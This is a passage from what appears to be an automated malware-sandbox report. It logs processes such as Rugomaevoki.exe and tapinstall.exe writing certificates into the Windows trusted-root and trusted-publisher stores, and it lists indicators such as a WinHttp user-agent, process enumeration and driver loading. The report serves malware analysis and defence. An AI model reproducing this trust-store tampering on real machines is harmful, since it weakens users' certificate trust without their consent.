04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 0f00000001000000200000002dc1a6a6cb0cb42f7e0d2c56f38bc7decbccd143405f669070ce130f9249ba48030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f tapinstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703016200000001000000200000001465fa205397b876faa6f0a9958e5590e40fcc7faa4fb7c2c8677521fb5fb658140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794 Rugomaevoki.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c00000001000000040000000008000004000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 tapinstall.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0f00000001000000140000001b4e387db74a69a0470cb08f598beb3b511617530300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be tapinstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E Sidyshywyly.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 64 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 220 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 553 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1410 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1940 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 52 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 54 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 57 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 287 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4217 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 63 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 311 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 17240 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 17878 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 14846 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 16024 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 5 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 551 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 603 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 630 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 14827 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3698 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3727 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 548 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 586 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 611 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 612 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1488 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 62 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 602 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4271 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 17917 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 17932 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 61 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 225 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 18327 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 55 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 294 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 18024 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 3248 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 15220 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 18603 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 216 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 558 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 613 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1506 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 43 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 288 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 241 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 374 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 617 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4005 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4035 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 67 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 606 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 18208 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 40 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 289 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 1724 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 14833 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 15239 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Setup.tmpSetup.exeprolab.tmpRugomaevoki.exepid process 644 Setup.tmp 644 Setup.tmp 1364 Setup.exe 1364 Setup.exe 1364 Setup.exe 1364 Setup.exe 1364 Setup.exe 1364 Setup.exe 1364 Setup.exe 1364 Setup.exe 2688 prolab.tmp 2688 prolab.tmp 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe 1352 Rugomaevoki.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
pid process 2396 -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
setup.exeapp.exesetup.exepid process 6528 setup.exe 8128 app.exe 616 616 9816 setup.exe -
Suspicious behavior: MapViewOfSection 64 IoCs
Processes:
